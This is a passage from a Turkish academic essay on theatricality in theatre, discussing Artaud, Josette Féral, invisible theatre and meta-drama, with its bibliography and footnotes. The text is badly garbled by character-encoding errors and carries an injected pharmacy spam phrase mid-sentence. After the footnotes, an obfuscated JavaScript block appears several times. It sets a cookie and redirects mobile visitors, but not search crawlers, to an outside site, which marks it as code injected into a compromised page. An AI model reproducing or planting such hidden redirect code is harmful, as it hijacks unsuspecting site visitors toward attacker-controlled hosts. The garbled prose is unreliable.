yarar olabilirler. DolayAi??sAi??yla Artaud da dili yok etmek adAi??na, yine onu kullanma zorunluluAYuna mahkum olmuAYtur.

Dilin parAi??alAi?? yapAi??sAi?? ile kendisine iAYaret ederek teatralleAYmesi, gAi??sterimin tA?m elementlerinin benzer biAi??imde iAYlediAYinin de bir gAi??stergesine dAi??nA?AYA?r. Dil, somut olarak kullanAi??lmadAi??AYAi?? durumlarda bile, mekanAi??n yaratAi??lmasAi??nda etkindir. MekanAi??n, teatral iAYleyiAYteki Ai??nemi ise kavram Ai??erAi??evesinde tartAi??AYan tA?m kuramcAi??larAi??n odak meselelerinden biridir. Performerai??i??Ai??n iAi??inde devindiAYi mekan, oyuncunun varlAi??AYAi??nAi??n Ai??tesinde bir varlAi??k taAYAi??r ve kendini kesintisiz olarak iAYaret eder. Temsilin mekanAi??, bir sahne olmadAi??AYAi?? gibi, yalAi??n Ai??Ai??plak ve belirli bir amaca uygun olarak dizayn edildiAYi yer de deAYildir. Teatral mekan, gerAi??ekliAYi ve kurmacayAi?? bA?nyesinde beraber taAYAi??yan, ikisini asla birbiri iAi??inde eritmeyen bir mekansal duruAYa sahiptir; mekanAi??n bir tiyatro binasAi?? olmasAi??, fabrika ya da depo olmasAi??, gelinip geAi??ilen bir sokak olmasAi?? fark etmez. Ai??nemli olan izleyici ve oyuncunun mekanla ve bu mekan iAi??inde birbiriyle kurduAYu teatral iliAYkidir.

TeatralliAYi, bir baAYkasAi??nAi??n varlAi??AYAi??na koAYullayan Josette Feral, mekanAi??n teatralliAYin ortaya Ai??Ai??kAi??AYAi??ndaki belirleyiciliAYini ai???gAi??rA?nmez tiyatroai??? Ai??rneAYi ile aAi??Ai??klar. GAi??rA?nmez tiyatro, gA?ndelik yaAYamAi??mAi??z iAi??inde, hiAi?? beklemediAYimiz bir anda ve bir yerde karAYAi??mAi??za Ai??Ai??kabilecek bir gAi??sterimdir. Ai??rneAYin bir metroda normal bir yolculuk esnasAi??nda, iki kiAYi arasAi??nda Ai??Ai??kan tartAi??AYma, bir tiyatro olabilir. Burada gerAi??ekleAYen eylemin bir tiyatro oyunu olduAYunu anlamak elbette Ai??ok gA?Ai??tA?r. Metroda bulunanlar biletli birer izleyici olmadAi??klarAi?? gibi, ne bir sahne ne de kostA?mlA? oyuncular gAi??ze Ai??arpar. Her AYey gA?ndelik yaAYamAi??n sAi??radanlAi??AYAi?? iAi??inde geliAYir. SAi??z konusu tartAi??AYmanAi??n bir oyun olduAYunu kavramak, izleyicinin algAi??sAi??na bAi??rakAi??lmAi??AYtAi??r. Burada teatralliAYin varlAi??AYAi??ndan sAi??z etmek gA?Ai?? gAi??rA?nse de, imkansAi??z deAYildir. Burada oyuncu iAi??in teatrallik kendiliAYinden oluAYur. O, kendisini bakAi??lmak iAi??in bakAi??AYa sunar. YaptAi??AYAi?? eylemin kurgusallAi??AYAi??nAi??n farkAi??ndadAi??r, izlendiAYinin de. Ai??zleyicinin ona bir oyuncu olarak mAi??, yoksa kavgacAi?? herhangi bir insan olarak mAi?? baktAi??AYAi??nAi??n Ai??nemi yoktur. Ai??nemli olan, bakAi??AYAi?? Ai??elebilmektir. Oyuncunun metroyu bir tA?r sahneye dAi??nA?AYtA?rmesi ve onunla teatral bir iliAYki kurmasAi??, izleyicinin algAi??sAi?? ne yAi??nde olursa olsun, durumu teatral kAi??lar. Ai??zleyici, gA?ndelik bir olayAi?? bir kurgu olarak yorumlayAi??p, bakan kiAYi olduAYunun ayAi??rdAi??na vardAi??AYAi??nda, teatrallik izleyici ile doAYrudan iliAYki kurmayAi?? baAYarAi??r. Ancak Ai??nemli olan, kurgunun farkAi??ndalAi??AYAi??na varabilmektir. Aksi takdirde izleyici, metroda giderken can sAi??kAi??cAi?? ama sAi??radan bir kavgaya tanAi??klAi??k etmiAY olmanAi??n Ai??tesine geAi??emez. Klasik bir tiyatro sahnesinde teatralliAYin izi sA?rA?lA?rken, yine oyuncu ve izleyici ile olan iliAYkisi gAi??z Ai??nA?ne alAi??nabilir. Burada izleyiciler kurguya dayalAi?? bir eylem izleyeceklerinin bilincindedirler. Hatta henA?z oyun baAYlamamAi??AYken gAi??rA?len dekorlu (ya da dekorsuz) sahnenin bile teatral bir deAYer taAYAi??dAi??AYAi?? sAi??ylenebilir. Bu gAi??rA?AYten yola Ai??Ai??kan Josette Feral, mekanAi??n tek baAYAi??na teatral olduAYunu sAi??yler. Feralai??i??e gAi??re, aktAi??rA?n varlAi??AYAi?? teatralliAYin Ai??n koAYulu deAYildir. Bu anlamda oyuncunun teatral mekan ile iliAYki kurarak teatral yaratAi??m sA?recine katkAi??da bulunduAYu sAi??ylenebilir. Sahnede gAi??rdA?AYA?nA?n kurgusal bir gerAi??eklik olduAYunu bilen izleyici, oyuncunun konumunu da bu bilgisine gAi??re belirler. Oyuncu sahnenin taAYAi??dAi??AYAi?? teatralliAYin bir aktarAi??cAi??sAi??dAi??r.

MekanAi??n, oyuncunun, sesin, mA?ziAYin, dekorun ve daha ne kadar sahnesel element varsa tA?mA?nA?n tek tek kendini bakAi??AYa aAi??masAi?? ve kendi teatralliAYini kurmasAi??, ister istemez meta-drama kavramAi??nAi?? Ai??aAYAi??rAi??r. Meta-dramatik bir sahnelemenin yarattAi??AYAi?? teatrallik fikri, Silvija Jestrovicai??i??in belirlediAYi iki tA?r teatrallikten ilkine iAYaret eder: Kendine-gAi??ndergesel yAi??nA?nA? aAi??Ai??AYa Ai??Ai??kararak tiyatroyu teatralleAYtiren teatrallik. SA?reyya Karacabey, meta-dramayAi?? AYAi??yle tarif eder:

Meta dram iAi??in en genel tanAi??m Ai??lAi??A?tA?, Ai??z-yansAi??tmadAi??r. Ai??z-yansAi??tmada dramatik ileti uzlaAYAi??msal baAYlarAi??ndan koparAi??lAi??r ve iletinin estetik karakterine bir vurgu yapAi??lAi??r. GAi??sterilenlerin tA?mA?yle kurmaca olduAYunun altAi??nAi?? Ai??izen kurmacaya ait meta dramda, yansAi??tmanAi??n nesnesi dramdAi??r. Bu yansAi??tma kurmacayAi?? desteklediAYi gibi kAi??rAi??lmaya da yol aAi??abilir.[11]

Tiyatronun kendisini iAYaret etmesinin illA?zyonu kAi??rAi??cAi?? etkisi, tek baAYAi??na teatral bir durumun ortaya Ai??Ai??kAi??AYAi??na yeterlidir. Tiyatro tarihi, klasik oyun yazAi??m tA?rleri iAi??inden de bu tA?r sahnelerin varlAi??AYAi??na AYahittir. Konunun en bilindik Ai??rneAYi elbette Hamletai??i??teki ai???Gonzagoai??i??nun Ai??ldA?rA?lmesiai??? sahnesidir. Tiyatro olduAYunu yanAi??lsamacAi?? A?slubuyla unutturan bir sahneleme, meta-dramatik sahne kullanAi??mAi??yla illA?zyonu bir an iAi??in kAi??rar. Esas olarak bu unutturma durumu kavramsal bir kabulleniAYtir; elbette tiyatro zorunlu olarak kendine iAYaret edecektir. Ancak, sahnelemenin tA?mden teatralliAYe yaslandAi??AYAi?? oyunlarda meta-drama, illA?zyonun zaten hiAi?? kurulmamAi??AY olmasAi??nAi?? saAYlayacaktAi??r. Bu noktada gerAi??eklik ile kurmaca arasAi??ndaki gidiAY-geliAY de belirgin hale gelecektir. Meta-drama, kurmacaya yaslanAi??r; gerAi??ek olma iddiasAi??nAi?? daha baAYtan reddetmiAYtir. Sahnelemede konu edilen AYey, tiyatronun konu edeceAYi tA?rdendir; gerAi??ek dA?nyayla karAi??AYtAi??rAi??lmasAi?? olasAi?? gAi??rA?nmez. KurmacanAi??n varlAi??AYAi??nAi??n seyirciye sA?rekli olarak hissettirilmesi, seyircideki yabancAi??laAYmayAi?? uyanAi??k tutacak ve alAi??mlamada herhangi bir biAi??imde ai???gerAi??ekliAYe kaAi??Ai??AYai???a izin verilmeyecektir; gerAi??eklik tA?m yapAi??nAi??n iAi??ine sAi??zmAi??AY olsa da.

Tiyatronun en ai???iAi??selai??? kavramlarAi??ndan biri olan teatrallik, izleyicinin karAYAi??sAi??na Ai??ok bA?yA?k bir iddia ile Ai??Ai??kar. Kurmaca olanAi?? hiAi??bir AYeyi gizlemeden, aldatmadan gAi??sterme iddiasAi??dAi??r bu. Tiyatro, tA?m elementleriyle ai???kendiai??? olarak Ai??Ai??kar seyirci karAYAi??sAi??na; kaba, Ai??Ai??plak varoluAYuyla ai???AYimdi ve buradaai???dAi??r. Ancak tiyatronun bu ai???canlAi??ai??? bulunuAY hali, tiyatro karAYAi??tAi?? sAi??ylemlerin kaynaAYAi??nAi?? oluAYturur. Michael Fried, ai???Art and Objecthoodai??? adlAi?? makalesinde teatrallik karAYAi??tAi?? sAi??ylemlerini aAi??Ai??klarken, sanatAi??n bir nesne olarak kendini ortaya koymasAi??ndan duyduAYu rahatsAi??zlAi??AYAi?? dile getirir. Friedai??i??Ai??n bu rahatsAi??zlAi??AYAi?? ise, Feralai??i??in teatralliAYin asal koAYutu olarak belirlediAYi, bir baAYkasAi?? iAi??in var olma durumuyla ilintilidir. Sanat eserinin, bir nesne olarak kendini bakAi??AYa aAi??masAi??, tiyatroya Ai??zgA? bir bayaAYAi??lAi??ktAi??r ve sanat, tiyatrodan uzaklaAYtAi??AYAi?? Ai??lAi??A?de baAYarAi??lAi?? olacaktAi??r. Friedai??i??Ai??n dile getirdiAYi bu rahatsAi??zlAi??k, tiyatro tarihi iAi??in yeni deAYildir; olsa olsa Platonai??i??dan beri bilinen tiyatro karAYAi??tlAi??AYAi??nAi??n, postmodern sanat estetiAYi aAi??Ai??sAi??ndan yeniden ele alAi??nmasAi??dAi??r. Friedai??i??a gAi??re postmodern teatrallik, geleneksel sanat nesnesinin dAi??AYAi??ndaki Ai??AYeleri vurgulamakta ve Ai??znenin nesneyle iliAYkisini ya da bA?tA?nA?n parAi??ayla iliAYkisini yerle bir etmektedir. Nesnenin iAi??sel deAYeri yok edilir, bAi??ylece sanattaki AYekil ve biAi??im vurgusunu ortadan kaldAi??rAi??r. BiAi??imsizlik ve anlam Ai??oAYalmasAi??na vurgu yapar. Tiyatro sanatAi?? Ai??ok bA?yA?k Ai??lAi??A?lere dayanAi??r ve izleyiciyi hem fiziksel hem de psikolojik olarak nesneden uzaklaAYtAi??rarak huzursuz eder. Friedai??i??Ai??n tiyatroda ai???sahnede bulunuAYai??? olarak adlandAi??rdAi??AYAi?? materyallik durumu, derinliksiz bir materyalliktir. Bu derinliksizlik, Friedai??i??Ai??n gAi??rmek istediAYi geleneksel algAi??yAi?? kAi??rar. Ai??zleyici, maruz kaldAi??AYAi?? AYey karAYAi??sAi??nda Ai??aresiz ve AYaAYkAi??ndAi??r. Ai??zlediAYi AYeyin gerAi??ekliAYinin erozyona uAYratAi??lmAi??AY olmasAi?? ve yapay bir gAi??rA?ntA?ler vizyonu sunulmasAi??, klasik estetik normlarAi??na aykAi??rAi?? olduAYu iAi??in baAYarAi??sAi??zdAi??r.

Teatrallik, kendisine karAYAi?? Ai??Ai??kAi??AYlarAi??n temelinde de bulunan nesnelik durumuyla, kendi gerAi??eklik algAi??sAi??nAi?? yaratAi??r. GerAi??ekliAYi kendi iAi??inden Ai??arpAi??tarak yansAi??tAi??r; gerAi??ekle uzlaAYmayan tavrAi??yla kendini var eder. Kendisine bakana ve onun bakAi??AY aAi??Ai??sAi??na gAi??re deAYiAYiklik gAi??steren ordering cialis 5mg online. gerAi??ek, gA?venilir bir kavram olmaktan Ai??Ai??kmAi??AY, kendisini alAi??mlayAi??cAi??sAi??na teslim etmiAYtir. Bu teslimiyet, aynAi?? zamanda, teatral olanAi??n, yapay bir iAi??erikle ve bA?yA?ltA?lmA?AY hareketlerle sunulmasAi??nAi??n da bir gerekAi??esidir.

 

 

 

KAYNAKAi??A

Benjamin, Walter.Ai??Pasajlar, YapAi?? Kredi YayAi??nlarAi??, Ai??stanbul, 2002.

Esslin, Martin.Ai??AbsA?rd Tiyatro, Dost Kitabevi, Ankara, 1991.

Innes, Christopher.Ai??Avant-Garde Tiyatro, Dost Kitabevi, Ankara, 1993.

Janelle Reinelt;Ai??ai???The politics of Discourse: Performativity meets Theatricalityai???Ai??SubStanceAi??31, 2002.

Jean-Pierre Sarrazac;Ai??ai???The Invention of Theatricalityai???Ai??SubStanceAi??31, 2002.

Josette Feral;Ai??ai???Specificity of Theatrical Language1ai???Ai??SubStanceAi??31, 2002.

Karacabey, SA?reyya.Ai??Modern SonrasAi?? Tiyatro ve Heiner MA?ller, De Ki YayAi??nlarAi??, Ankara, 2006.

Silvia Jestrovic;Ai??ai???Theatricality as Estrangegementai???Ai??SubStanceAi??31, 2002.

Virginie Magnat;Ai??ai???Theatricality from the Performative Perspectiveai???Ai??SubStanceAi??31, 2002.

 

 

 

 

 

 

 


[1]Ai??Christopher Innes.Ai??Avant-Garde Tiyatro.Ai??(Birinci BasAi??m. Ankara: Dost Kitabevi, 1993) s.19

[2]Ai??SA?reyya Karacabey.Ai??Modern SonrasAi?? Tiyatro ve Heiner MA?ller.Ai??(Birinci BasAi??m. Ankara: De Ki YayAi??nlarAi??, 2006) s.23

[3]Ai??Martin Esslin.Ai??AbsA?rd Tiyatro.Ai??(Birinci BasAi??m. Ankara: Dost Kitabevi, 1999) s.23

[4]Ai??Janelle Reinelt.Ai??SubStance-31: ai???The politics of Discourse: Performativity meets Theatricalityai???Ai?? s.3

[5]Ai??SA?reyya Karacabey.Ai??Modern SonrasAi?? Tiyatro ve Heiner MA?ller.Ai??(Birinci BasAi??m. Ankara: De Ki YayAi??nlarAi??, 2006) s.129

[6]Ai??Ai??n.ver.s.123

[7]Ai??Virginie Magnat.Ai??SubStance-31: ai???Theatricality from the Performative Perspectiveai???Ai?? s.3

[8]Ai??Silvija Jestrovic.Ai??SubStance-31: ai???Theatricality as Estrangegementai???Ai?? s.3

[9]Ai??Ai??n.ver.Ai??s.2

[10]Ai??SA?reyya Karacabey.Ai??Modern SonrasAi?? Tiyatro ve Heiner MA?ller.Ai??(Birinci BasAi??m. Ankara: De Ki YayAi??nlarAi??, 2006) s.131

[11]Ai??SA?reyya Karacabey.Ai??Modern SonrasAi?? Tiyatro ve Heiner MA?ller.Ai??(Birinci BasAi??m. Ankara: De Ki YayAi??nlarAi??, 2006) s.146

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 